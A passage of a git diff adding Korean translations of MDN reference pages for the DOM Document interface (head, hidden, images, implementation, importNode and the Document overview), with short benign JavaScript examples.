+   <td>{{SpecName('HTML WHATWG', 'interaction.html#dom-document-hasfocus', 'Document.hasFocus()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("api.Document.hasFocus")}}</p>
+
+<h2 id="관련_참고">관련 참고</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/Guide/User_experience/Using_the_Page_Visibility_API">페이지 가시성 API 사용하기</a></li>
+</ul>
diff --git a/files/ko/web/api/document/head/index.html b/files/ko/web/api/document/head/index.html
new file mode 100644
index 0000000000..6beb5b59a3
--- /dev/null
+++ b/files/ko/web/api/document/head/index.html
@@ -0,0 +1,69 @@
+---
+title: Document.head
+slug: Web/API/Document/head
+tags:
+  - API
+  - Document
+  - HTML DOM
+  - Property
+  - Reference
+translation_of: Web/API/Document/head
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>{{domxref("Document")}} 인터페이스의 <strong><code>head</code></strong> 읽기 전용 속성은 현재 문서의 {{htmlelement("head")}} 요소를 나타냅니다.</p>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<pre class="brush: html"><code>&lt;!doctype html&gt;
+&lt;head id="my-document-head"&gt;
+  &lt;title&gt;Example: using document.head&lt;/title&gt;
+&lt;/head&gt;
+
+&lt;script&gt;
+  let theHead = document.head;
+
+  console.log(theHead.id); // "my-document-head";
+  console.log(theHead === document.querySelector("head")); // true
+&lt;/script&gt;</code></pre>
+
+<h2 id="Example" name="Example">참고</h2>
+
+<p><code>Document.head</code>는 읽기 전용입니다. 값을 할당하려고 시도하면 조용히 실패하거나, <a href="/ko/docs/Web/JavaScript/Reference/Strict_mode">엄격 모드</a>에서는 {{jsxref("TypeError")}}가 발생합니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','dom.html#dom-document-head','Document.head')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1','dom.html#dom-document-head','Document.head')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C','dom.html#dom-document-head','Document.head')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("api.Document.head")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("document.body")}}</li>
+</ul>
diff --git a/files/ko/web/api/document/hidden/index.html b/files/ko/web/api/document/hidden/index.html
new file mode 100644
index 0000000000..13c6f0a5da
--- /dev/null
+++ b/files/ko/web/api/document/hidden/index.html
@@ -0,0 +1,26 @@
+---
+title: Document.hidden
+slug: Web/API/Document/hidden
+tags:
+  - API
+  - Document
+  - Property
+  - Reference
+translation_of: Web/API/Document/hidden
+---
+<div>{{ ApiRef("DOM") }}</div>
+
+<p><code><strong>Document.hidden</strong></code> 읽기 전용 속성은 페이지가 숨겨졌는지 여부를 {{jsxref("Boolean")}} 값으로 나타냅니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush:js;">document.addEventListener("visibilitychange", function() {
+  console.log(document.hidden);
+  // 숨김 여부가 변했을 때의 행동
+});</pre>
+
+<h2 id="명세">명세</h2>
+
+
+
+<p>{{Compat("api.Document.hidden")}}</p>
diff --git a/files/ko/web/api/document/images/index.html b/files/ko/web/api/document/images/index.html
new file mode 100644
index 0000000000..702ad66bc5
--- /dev/null
+++ b/files/ko/web/api/document/images/index.html
@@ -0,0 +1,52 @@
+---
+title: Document.images
+slug: Web/API/Document/images
+translation_of: Web/API/Document/images
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><code>document.images</code> 는 현재 HTML document 내부의 <a href="/en-US/docs/DOM/Image" title="DOM/Image">images</a> collection을 반환합니다.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>var htmlCollection</em> = document.images;</pre>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<pre class="brush:js">var ilist = document.images;
+
+for(var i = 0; i &lt; ilist.length; i++) {
+    if(ilist[i].src == "banner.gif") {
+        // found the banner
+    }
+}</pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p><code>document.images.length</code> – 페이지의 이미지 갯수를 반환하는 속성</p>
+
+<p><code>document.images </code>는 DOM HTML의 part이며, HTML documents 에서만 지원된다.</p>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-document-images', 'Document.images')}}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-90379117', 'Document.images')}}</td>
+   <td>{{ Spec2('DOM2 Events') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/api/document/implementation/index.html b/files/ko/web/api/document/implementation/index.html
new file mode 100644
index 0000000000..79b50f451e
--- /dev/null
+++ b/files/ko/web/api/document/implementation/index.html
@@ -0,0 +1,55 @@
+---
+title: Document.implementation
+slug: Web/API/Document/implementation
+tags:
+  - API
+  - DOM
+  - NeedsContent
+  - Property
+  - Reference
+translation_of: Web/API/Document/implementation
+---
+<div>{{ ApiRef("DOM") }}</div>
+
+<p>현재 document에 연관된 {{domxref("DOMImplementation")}} 객체를 반환합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><var>DOMImpObj</var> = document.implementation;
+</pre>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js">var modName = "HTML";
+var modVer = "2.0";
+var conformTest = document.implementation.hasFeature( modName, modVer );
+
+alert( "DOM " + modName + " " + modVer + " supported?: " + conformTest );
+
+// alerts with: "DOM HTML 2.0 supported?: true" if DOM Level 2 HTML module is supported.
+</pre>
+
+<p>모듈 네임 목록(예: Core, HTML, XML, 등등)은 DOM Level 2 <a href="http://www.w3.org/TR/DOM-Level-2-Core/introduction.html#ID-Conformance-h2">Conformance 섹션</a>에서 확인하실 수 있습니다.</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>W3C의 DOM Level 1 권고안에는 DOM 모듈을 브라우저에서 지원하는지를 확인하는 방법 중 하나인 <code>hasFeature</code> 메소드만 명시되어 있습니다(위 예제와 <a href="http://www.w3.org/2003/02/06-dom-support.html">What does your user agent claim to support?</a> 문서를 확인하세요). 사용이 가능한 경우, 다른 <code>DOMImplementation</code> 메소드들이 단일 document 외부의 것들을 컨트롤하기 위한 서비스들을 제공합니다. 예를 들어, <code>DOMImplementation</code> 인터페이스는 <code>createDocumentType</code> 메소드와 implementation에 의해 관리되는 하나 이상의 document를 위해 생성되는 DTD가 무엇인지를 포함합니다.</p>
+
+<h2 id="Specification">Specification</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-102161490">DOM Level 2 Core: implementation</a></li>
+ <li><a href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#ID-102161490">DOM Level 3 Core: implementation</a></li>
+</ul>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Document.implementation")}}</p>
+
+<h2 id="Gecko-specific_notes">Gecko-specific notes</h2>
+
+<ul>
+ <li>Gecko 19.0 {{geckoRelease("19.0")}}부터 {{domxref("DOMImplementation.hasFeature","hasFeature")}} 메소드는 항상 true를 반환합니다.</li>
+</ul>
diff --git a/files/ko/web/api/document/importnode/index.html b/files/ko/web/api/document/importnode/index.html
new file mode 100644
index 0000000000..18be48039f
--- /dev/null
+++ b/files/ko/web/api/document/importnode/index.html
@@ -0,0 +1,67 @@
+---
+title: Document.importNode()
+slug: Web/API/Document/importNode
+translation_of: Web/API/Document/importNode
+---
+<p id="Summary">{{APIRef("DOM")}}</p>
+
+<h2 id="Summary" name="Summary">설명</h2>
+
+<p>현재 문서가 아닌 외부 문서의 노드를 복사하여 현재 문서에 넣을 수 있도록 해줍니다.</p>
+
+<h2 id="Syntax" name="Syntax">문법</h2>
+
+<pre class="syntaxbox">var <em>node</em> = <em>document</em>.importNode(<em>externalNode</em>, <em>deep</em>);
+</pre>
+
+<dl>
+ <dt><code>node</code></dt>
+ <dd>문서에 추가될 새로운 노드입니다. 새로운 노드가 문서 트리에 추가되기 전까지, 새로운 노드의 <a href="/en-US/docs/DOM/Node.parentNode" style="font-family: 'Courier New', 'Andale Mono', monospace; line-height: normal;" title="DOM/Node.parentNode">parentNode</a><span style="line-height: 1.5;">는 null입니다.</span></dd>
+ <dt><code>externalNode</code></dt>
+ <dd>다른 문서에서 가져올 노드입니다.</dd>
+ <dt><code>deep</code></dt>
+ <dd>불리언 타입을 가지며, 다른 문서에서 노드를 가져올 때 노드의 자식 요소들을 포함하여 가져올 것인지에 대한 여부를 결정합니다.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note:</strong> DOM4 스펙 (Gecko 13.0 {{geckoRelease(13)}}에서 적용되어 있습니다)에서, <span style="font-family: 'Courier New','Andale Mono',monospace; line-height: normal;">deep</span><span style="font-family: 'Courier New','Andale Mono',monospace; line-height: normal;">은 선택적 인자입니다. 만약 해당 속성을 생략한다면, 함수는 자동으로 </span><span style="font-family: 'Courier New','Andale Mono',monospace; line-height: normal;">deep을 </span><strong style="line-height: 1.5em;"><code style="font-size: 14px;">true</code></strong><code style="font-size: 14px;">로 인식하여 작동하게 되고, 기본 동작을 하게 됩니다. 만약 자식 노드를 포함하지 않은 해당 노드만 가져오고싶다면, 반드시 <em>deep</em>인자에 false를 주시길 바랍니다.</code></p>
+
+<p><code style="font-size: 14px;">이러한 동작 방식은 최신 스펙에서 변경되었고, 만약 deep 속성을 생략하면, 함수는 자동으로 deep을 false로 인식하여 동작합니다. 비록 deep 속성이 선택적 속성이라고 해도, 당신은 항상 deep 속성을 상호 호환성을 위하여 제공하는 것이 좋습니다. <em>Gecko 28.0 {{geckoRelease(28)}} </em>버전부터, deep속성을 입력하지 않을 경우 콘솔에서 에러를 반환합니다.</code></p>
+</div>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<pre class="brush: js">var iframe = document.getElementsByTagName("iframe")[0];
+var oldNode = iframe.contentDocument.getElementById("myNode");
+var newNode = document.importNode(oldNode, true);
+document.getElementById("container").appendChild(newNode);
+</pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>오리지널 노드는 오리지널 문서에서 삭제되지 않습니다. 추가된 노드는 오리지널 노드의 복사본입니다.</p>
+
+<p>Nodes from external documents should be cloned using <a href="/ko/docs/Web/API/Document/importNode" title="현재 문서가 아닌 외부 문서의 노드를 복사하여 현재 문서에 넣을 수 있도록 해줍니다."><code>document.importNode()</code></a> (or adopted using <a href="/ko/docs/Web/API/Document/adoptNode" title="외부 문서로부터 노드를 가져온다. 해당 노드와 그 하위트리는 기존의 문서에서 지워지고 해당 노드의 ownerDocument 는 현재 문서로 바뀐다. 그리고 그 노드는 현재의 문서에 삽입된다."><code>document.adoptNode()</code></a>) before they can be inserted into the current document. For more on the <a href="/ko/docs/Web/API/Node/ownerDocument" title="Node.ownerDocument 읽기 전용 속성은 이 node 의 최상위 document 객체를 반환합니다."><code>Node.ownerDocument</code></a> issues, see the <a class="external" href="http://www.w3.org/DOM/faq.html#ownerdoc" rel="noopener">W3C DOM FAQ</a>.</p>
+
+<p>Firefox doesn't currently enforce this rule (it did for a while during the development of Firefox 3, but too many sites break when this rule is enforced). We encourage Web developers to fix their code to follow this rule for improved future compatibility.</p>
+
+<h2 id="브라우저_지원율">브라우저 지원율</h2>
+
+<div>
+
+
+<p>{{Compat("api.Document.importNode")}}</p>
+</div>
+
+<h2 id="Specifications" name="Specifications">관련문서</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#Core-Document-importNode">DOM Level 2 Core: Document.importNode</a></li>
+ <li><a href="http://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html#dom-document-importnode">DOM4 (draft): Document.importNode</a></li>
+</ul>
+
+<h2 id="참고">참고</h2>
+
+<ul>
+ <li>{{domxref("document.adoptNode()")}}</li>
+</ul>
diff --git a/files/ko/web/api/document/index.html b/files/ko/web/api/document/index.html
new file mode 100644
index 0000000000..f26cb7a526
--- /dev/null
+++ b/files/ko/web/api/document/index.html
@@ -0,0 +1,480 @@
+---
+title: Document
+slug: Web/API/Document
+tags:
+  - API
+  - DOM
+  - Document
+  - Interface
+  - Reference
+translation_of: Web/API/Document
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><span class="seoSummary"><strong><code>Document</code></strong> 인터페이스는 브라우저가 불러온 웹 페이지를 나타내며, 페이지 콘텐츠(<a href="/ko/docs/Web/API/Document_object_model/Using_the_W3C_DOM_Level_1_Core">DOM 트리</a>)의 진입점 역할을 수행합니다.</span> DOM 트리는 {{HTMLElement("body")}}와 {{HTMLElement("table")}} 및 <a href="https://developer.mozilla.org/ko/docs/Web/HTML/Element">여러 다른</a> 요소를 포함합니다. <code>Document</code>는 페이지의 URL을 얻거나 문서에 새로운 요소를 생성하는 등의 기능을 전역적으로 제공합니다.</p>
+
+<p>{{inheritanceDiagram}}</p>
+
+<p><code>Document</code> 인터페이스는 모든 종류의 문서에 대한 공통의 속성과 메서드를 묘사합니다. 문서의 유형(<a href="/ko/docs/Web/HTML">HTML</a>, <a href="/ko/docs/Web/XML/XML_introduction">XML</a>, SVG 등)에 따라서 더 다양한 API가 존재합니다. 예컨대 <code>"text/html"</code> 콘텐츠 유형으로 제공되는 HTML 문서는 {{domxref("HTMLDocument")}} 인터페이스도 구현하는 반면, XML과 SVG 문서는 {{domxref("XMLDocument")}} 인터페이스를 구현합니다.</p>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{domxref("Document.Document","Document()")}} {{non-standard_inline}}</dt>
+ <dd>새로운 <code>Document</code> 객체를 생성합니다.</dd>
+</dl>
+
+<h2 id="Properties" name="Properties">속성</h2>
+
+<p><em><code>Documet</code>는 {{domxref("Node")}}와 {{domxref("EventTarget")}} 인터페이스도 상속합니다.</em></p>
+
+<dl>
+ <dt>{{domxref("Document.anchors")}} {{readonlyinline}}</dt>
+ <dd>문서 내 모든 앵커의 목록을 반환합니다.</dd>
+ <dt>{{domxref("Document.body")}}</dt>
+ <dd>현재 문서의 {{HTMLElement("body")}} 또는 {{htmlelement("frameset")}} 노드를 반환합니다.</dd>
+ <dt>{{domxref("Document.characterSet")}} {{readonlyinline}}</dt>
+ <dd>문서에서 사용하는 캐릭터셋을 반환합니다.</dd>
+ <dt>{{domxref("Document.compatMode")}} {{readonlyinline}} {{experimental_inline}}</dt>
+ <dd>문서의 렌더링 모드가 Quirks와 Strict 중 어떤 것인지 반환합니다.</dd>
+ <dt>{{domxref("Document.contentType")}} {{readonlyinline}} {{experimental_inline}}</dt>
+ <dd>현재 문서의 MIME 헤더로부터 <code>Content-Type</code>을 반환합니다.</dd>
+ <dt>{{domxref("Document.doctype")}} {{readonlyinline}}</dt>
+ <dd>현재 문서의 문서 형식 정의(Document Type Definition, DTD)를 반환합니다.</dd>
+ <dt>{{domxref("Document.documentElement")}} {{readonlyinline}}</dt>
+ <dd>문서의 직속 자식인 {{domxref("Element")}}를 반환합니다. HTML 문서에서는 보통 {{HTMLElement("html")}} 요소를 나타내는 {{domxref("HTMLHtmlElement")}} 객체입니다.</dd>
+ <dt>{{domxref("Document.documentURI")}} {{readonlyinline}}</dt>
+ <dd>문서의 위치를 문자열로 반환합니다.</dd>
+ <dt>{{domxref("Document.embeds")}} {{readonlyinline}}</dt>
+ <dd>현재 문서에 포함된 {{HTMLElement("embed")}} 요소 목록을 반환합니다.</dd>
+ <dt>{{domxref("Document.fonts")}}</dt>
+ <dd>현재 문서의 {{domxref("FontFaceSet")}} 인터페이스를 반환합니다.</dd>
+ <dt>{{domxref("Document.forms")}} {{readonlyinline}}</dt>
+ <dd>현재 문서의 {{HTMLElement("form")}} 요소 목록을 반환합니다.</dd>
+ <dt>{{domxref("Document.head")}} {{readonlyinline}}</dt>
+ <dd>현재 문서의 {{HTMLElement("head")}} 요소를 반환합니다.</dd>
+ <dt>{{domxref("Document.hidden")}} {{readonlyinline}}</dt>
+ <dd>현재 문서의 숨김 여부를 반환합니다.</dd>
+ <dt>{{domxref("Document.images")}} {{readonlyinline}}</dt>
+ <dd>현재 문서의 이미지 목록을 반환합니다.</dd>
+ <dt>{{domxref("Document.implementation")}} {{readonlyinline}}</dt>
+ <dd>현재 문서와 연관된 DOM 구현을 반환합니다.</dd>
+ <dt>{{domxref("Document.lastStyleSheetSet")}} {{readonlyinline}}</dt>
+ <dd>마지막에 활성화된 스타일 시트 세트의 이름을 반환합니다. {{domxref("Document.selectedStyleSheetSet","selectedStyleSheetSet")}} 값을 설정하여 스타일 시트가 변경되기 전에는 <code>null</code> 값을 갖습니다.</dd>
+ <dt>{{domxref("Document.links")}} {{readonlyinline}}</dt>
+ <dd>문서의 모든 하이퍼링크 목록을 반환합니다.</dd>
+ <dt>{{domxref("Document.mozSyntheticDocument")}} {{non-standard_inline}}</dt>
+ <dd>문서가 synthetic, 즉 단일 이미지, 비디오, 오디오 파일이나 이와 비슷한 것인 경우 {{jsxref("Boolean")}} <code>true</code>를 반환합니다.</dd>
+ <dt>{{domxref("Document.plugins")}} {{readonlyinline}}</dt>
+ <dd>사용 가능한 플러그인의 목록을 반환합니다.</dd>
+ <dt>{{domxref("Document.policy")}} {{readonlyinline}} {{experimental_inline}}</dt>
+ <dd>특정 문서에 적용되는 기능 정책을 자성하기 위한 간단한 API 를 제공하는 {{domxref("Policy")}} 인터페이스를 반환합니다.</dd>
+ <dt>{{domxref("Document.preferredStyleSheetSet")}} {{readonlyinline}}</dt>
+ <dd>페이지 작성자가 지정한 선호 스타일 시트 세트를 반환합니다.</dd>
+ <dt>{{domxref("Document.scripts")}} {{readonlyinline}}</dt>
+ <dd>문서의 모든 {{HTMLElement("script")}} 요소를 반환합니다.</dd>
+ <dt>{{domxref("Document.scrollingElement")}} {{readonlyinline}}</dt>
+ <dd>문서를 스크롤 하는 {{domxref("Element")}}에 대한 참조를 반환합니다.</dd>
+ <dt>{{domxref("Document.selectedStyleSheetSet")}}</dt>
+ <dd>현재 사용 중인 스타일 시트 세트를 반환합니다.</dd>
+ <dt>{{domxref("Document.styleSheetSets")}} {{readonlyinline}}</dt>
+ <dd>문서에서 사용 가능한 스타일 시트 세트의 목록을 반환합니다.</dd>
+ <dt>{{domxref("Document.timeline")}} {{readonlyinline}}</dt>
+ <dd>페이지 로드 시 자동으로 생성하는 {{domxref("DocumentTimeline")}}의 인스턴스를 반환합니다.</dd>
+ <dt>{{domxref("Document.undoManager")}} {{readonlyinline}} {{experimental_inline}}</dt>
+ <dd>…</dd>
+ <dt>{{domxref("Document.visibilityState")}} {{readonlyinline}}</dt>
+ <dd>문서의 표시 상태를 나타내는 문자열을 반환합니다. 가능한 값은 <code>visible</code>, <code>hidden</code>, <code>prerender</code>, <code>unloaded</code>입니다.</dd>
+</dl>
+
+<p><code>Document</code> 인터페이스는 {{domxref("ParentNode")}} 인터페이스를 확장합니다.</p>
+
+<p>{{page("/ko/docs/Web/API/ParentNode","속성")}}</p>
+
+<h3 id="HTMLDocument_확장">HTMLDocument 확장</h3>
+
+<p>HTML 문서를 위한 <code>Document</code> 인터페이스는 HTML5 이전엔 {{domxref("HTMLDocument")}} 인터페이스를 상속하고, 이후로는 확장합니다.</p>
+
+<dl>
+ <dt>{{domxref("Document.cookie")}}</dt>
+ <dd>문서의 쿠키 리스트를 세미콜론으로 분리해 반환하거나, 하나의 쿠키를 설정합니다.</dd>
+ <dt>{{domxref("Document.defaultView")}} {{readonlyinline}}</dt>
+ <dd>{{domxref("Window")}} 객체의 참조를 반환합니다.</dd>
+ <dt>{{domxref("Document.designMode")}}</dt>
+ <dd>문서 전체의 수정 가능 여부를 설정/반환합니다.</dd>
+ <dt>{{domxref("Document.dir")}}</dt>
+ <dd>문서의 쓰기 방향(rtl/ltr)을 설정/반환합니다.</dd>
+ <dt>{{domxref("Document.domain")}}</dt>
+ <dd>현재 문서의 도메인을 설정/반환합니다.</dd>
+ <dt>{{domxref("Document.lastModified")}} {{readonlyinline}}</dt>
+ <dd>문서가 마지막으로 수정된 날짜를 반환합니다.</dd>
+ <dt>{{domxref("Document.location")}} {{readonlyinline}}</dt>
+ <dd>현재 문서의 URI를 반환합니다.</dd>
+ <dt>{{domxref("Document.readyState")}} {{readonlyinline}}</dt>
+ <dd>문서의 불러오기 상태를 반환합니다.</dd>
+ <dt>{{domxref("Document.referrer")}} {{readonlyinline}}</dt>
+ <dd>현재 페이지로 연결한 페이지의 URI를 반환합니다.</dd>
+ <dt>{{domxref("Document.title")}}</dt>
+ <dd>문서의 제목을 설정하거나 반환합니다.</dd>
+ <dt>{{domxref("Document.URL")}} {{readonlyInline}}</dt>
+ <dd>문서의 위치를 문자열로 반환합니다.</dd>
+</dl>
+
+<h3 id="DocumentOrShadowRoot에서_포함한_속성">DocumentOrShadowRoot에서 포함한 속성</h3>
+
+<p><code>Document</code> 인터페이스는 {{domxref("DocumentOrShadowRoot")}} 믹스인이 정의하는 다음의 속성을 포함합니다. 지금은 Chrome만 <code>DocumentOrShadowRoot</code> 믹스인으로 구현한 상태라는 점에 유의하세요. 다른 브라우저는 <code>Document</code> 인터페이스에 직접 구현합니다.</p>
+
+<dl>
+ <dt>{{domxref("DocumentOrShadowRoot.activeElement")}} {{readonlyInline}}</dt>
+ <dd>섀도 트리 내에서 포커스를 가진 {{domxref('Element')}} 를 반환합니다.</dd>
+ <dt>{{domxref("Document.fullscreenElement")}} {{readonlyinline}}</dt>
+ <dd>현재 문서에서 전체 화면 모드 중인 요소를 반환합니다.</dd>
+ <dt>{{domxref("DocumentOrShadowRoot.pointerLockElement")}} {{readonlyinline}} {{experimental_inline}}</dt>
+ <dd>포인터가 잠긴 동안 마우스 이벤트의 대상으로 설정한 요소를 반환합니다. 잠금 대기 중이거나, 포인터의 잠금이 해제됐거나, 대상이 다른 문서에 존재하는 경우 <code>null</code>입니다.</dd>
+ <dt>{{domxref("DocumentOrShadowRoot.styleSheets")}} {{readonlyInline}}</dt>
+ <dd>문서가 포함하거나 명시적으로 연결한 스타일 시트를 나타내는, {{domxref("CSSStyleSheet")}}의 {{domxref("StyleSheetList")}} 객체를 반환합니다.</dd>
+</dl>
+
+<h3 id="Event_handlers" name="Event_handlers">이벤트 처리기</h3>
+
+<dl>
+ <dt>{{domxref("Document.onafterscriptexecute")}} {{non-standard_inline}}</dt>
+ <dd>{{event("afterscriptexecute")}} 이벤트를 위한 이벤트 핸들링 코드를 나타냅니다.</dd>
+ <dt>{{domxref("Document.onbeforescriptexecute")}} {{non-standard_inline}}</dt>
+ <dd>{{event("beforescriptexecute")}} 이벤트를 위한 이벤트 핸들링 코드를 나타냅니다.</dd>
+ <dt>{{domxref("Document.oncopy")}} {{non-standard_inline}}</dt>
+ <dd>{{event("copy")}} 이벤트를 위한 이벤트 핸들링 코드를 나타냅니다.</dd>
+ <dt>{{domxref("Document.oncut")}} {{non-standard_inline}}</dt>
+ <dd>{{event("cut")}} 이벤트를 위한 이벤트 핸들링 코드를 나타냅니다.</dd>
+ <dt>{{domxref("Document.onfullscreenchange")}}</dt>
+ <dd>{{event("fullscreenchange")}} 이벤트가 발생할 때 호출되는 코드를 나타내는 {{domxref("EventHandler")}} 입니다.</dd>
+ <dt>{{domxref("Document.onfullscreenerror")}}</dt>
+ <dd>{{event("fullscreenerror")}} 이벤트가 발생할 때 호출되는 코드를 나타내는 {{domxref("EventHandler")}} 입니다.</dd>
+ <dt>{{domxref("Document.onpaste")}} {{non-standard_inline}}</dt>
+ <dd>{{event("paste")}} 이벤트를 위한 이벤트 핸들링 코드를 나타냅니다.</dd>
+ <dt>{{domxref("Document.onreadystatechange")}}</dt>
+ <dd>{{event("readystatechange")}} 이벤트를 위한 이벤트 핸들링 코드를 나타냅니다.</dd>
+ <dt>{{domxref("Document.onselectionchange")}} {{experimental_inline}}</dt>
+ <dd>{{event("selectionchange")}} 이벤트가 발생할 때 호출되는 코드를 나타내는 {{domxref("EventHandler")}} 입니다.</dd>
+ <dt>{{domxref("Document.onvisibilitychange")}}</dt>
+ <dd>{{event("visibilitychange")}} 이벤트가 발생할 때 호출되는 코드를 나타내는 {{domxref("EventHandler")}} 입니다.</dd>
+</dl>
+
+<p><code>Document</code> 인터페이스는 {{domxref("GlobalEventHandlers")}} 인터페이스를 확장합니다.</p>
+
+<p>{{Page("/ko/docs/Web/API/GlobalEventHandlers", "속성")}}</p>
+
+<h3 id="사용하지_않는_속성">사용하지 않는 속성</h3>
+
+<dl>
+ <dt>{{domxref("Document.alinkColor")}} {{Deprecated_inline}}</dt>
+ <dd>다큐먼트 바디에 있는 활성 링크의 색상을 설정하거나 반환합니다.</dd>
+ <dt>{{domxref("Document.all")}} {{Deprecated_inline}} {{non-standard_inline}}</dt>
+ <dd>다큐먼트의 모든 엘리먼트로의 접근을 제공합니다. 레거시이며 비표준 속성이므로 사용되면 안됩니다.</dd>
+ <dt>{{domxref("Document.applets")}} {{Deprecated_inline}} {{readonlyinline}}</dt>
+ <dd>다큐먼트에 있는 애플릿의 정렬된 리스트를 반환합니다.</dd>
+ <dt>{{domxref("Document.async")}} {{Deprecated_inline}}</dt>
+ <dd>{{domxref("Document.load")}} 와 사용되어 비동기 요청을 나타냅니다.</dd>
+ <dt>{{domxref("Document.bgColor")}} {{Deprecated_inline}}</dt>
+ <dd>현재 다큐먼트의 배경 색상을 설정하거나 반환합니다.</dd>
+ <dt>{{domxref("Document.charset")}} {{readonlyinline}} {{Deprecated_inline}}</dt>
+ <dd>{{domxref("Document.characterSet")}} 과 동일합니다. {{domxref("Document.characterSet")}} 속성을 사용하시기 바랍니다.</dd>
+ <dt>{{domxref("Document.domConfig")}} {{Deprecated_inline}}</dt>
+ <dd>{{domxref("DOMConfiguration")}} 객체를 반환합니다.</dd>
+ <dt>{{domxref("document.fgColor")}} {{Deprecated_inline}}</dt>
+ <dd>현재 다큐먼트의 foreground 색상이나 텍스트 색상을 설정하거나 반환합니다.</dd>
+ <dt>{{domxref("Document.fullscreen")}} {{obsolete_inline}}</dt>
+ <dd>다큐먼트가 {{domxref("Using_full-screen_mode","full-screen mode")}}에 있을 때 <code>true</code> 를 반환합니다.</dd>
+ <dt>{{domxref("Document.height")}} {{non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>현재 다큐먼트의 높이를 설정하거나 반환합니다.</dd>
+ <dt>{{domxref("Document.inputEncoding")}} {{readonlyinline}} {{Deprecated_inline}}</dt>
+ <dd>{{domxref("Document.characterSet")}} 과 동일합니다. {{domxref("Document.characterSet")}} 속성을 사용하시기 바랍니다.</dd>
+ <dt>{{domxref("Document.linkColor")}} {{Deprecated_inline}}</dt>
+ <dd>다큐먼트내 하이퍼링크의 색상을 설정하거나 반환합니다.</dd>
+ <dt>{{domxref("Document.vlinkColor")}} {{Deprecated_inline}}</dt>
+ <dd>방문한 하이퍼링크의 색상을 설정하거나 반환합니다.</dd>
+ <dt>{{domxref("Document.width")}} {{non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>현재 다큐먼트의 너비를 반환합니다.</dd>
+ <dt>{{domxref("Document.xmlEncoding")}} {{Deprecated_inline}}</dt>
+ <dd>XML 선언으로 결정된 인코딩을 반환합니다.</dd>
+ <dt>{{domxref("Document.xmlStandalone")}} {{obsolete_inline("10.0")}}</dt>
+ <dd>XML 선언이 다큐먼트를 독립되도록 지정하면 <code>true</code> 를(<em>예,</em> DTD 의 외부가 다큐먼트의 컨텐츠에 영향을 줌), 그렇지 않은 경우 <code>false</code> 를 반환합니다.</dd>
+ <dt>{{domxref("Document.xmlVersion")}} {{obsolete_inline("10.0")}}</dt>
+ <dd>XML 선언에 명시된 버전 넘버를 반환합니다. 선언에 명시되어 있지 않은 경우, <code>"1.0"</code> 을 반환합니다.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">메서드</h2>
+
+<p><em><code>Documet</code>는 {{domxref("Node")}}와 {{domxref("EventTarget")}} 인터페이스도 상속합니다.</em></p>
+
+<dl>
+ <dt>{{domxref("Document.adoptNode()")}}</dt>
+ <dd>외부 문서로부터 노드를 가져옵니다.</dd>
+ <dt>{{domxref("Document.captureEvents()")}} {{Deprecated_inline}}</dt>
+ <dd>{{domxref("Window.captureEvents")}}를 확인하세요.</dd>
+ <dt>{{domxref("Document.caretRangeFromPoint()")}}{{non-standard_inline}}</dt>
+ <dd>지정한 좌표에 위치한 문서 프래그먼트에 대한 {{domxref("Range")}} 객체를 반환합니다.</dd>
+ <dt>{{domxref("Document.createAttribute()")}}</dt>
+ <dd>새로운 {{domxref("Attr")}} 객체를 생성하고 반환합니다.</dd>
+ <dt>{{domxref("Document.createAttributeNS()")}}</dt>
+ <dd>주어진 네임스페이스에 새로운 속성 노드를 생성하고 반환합니다.</dd>
+ <dt>{{domxref("Document.createCDATASection()")}}</dt>
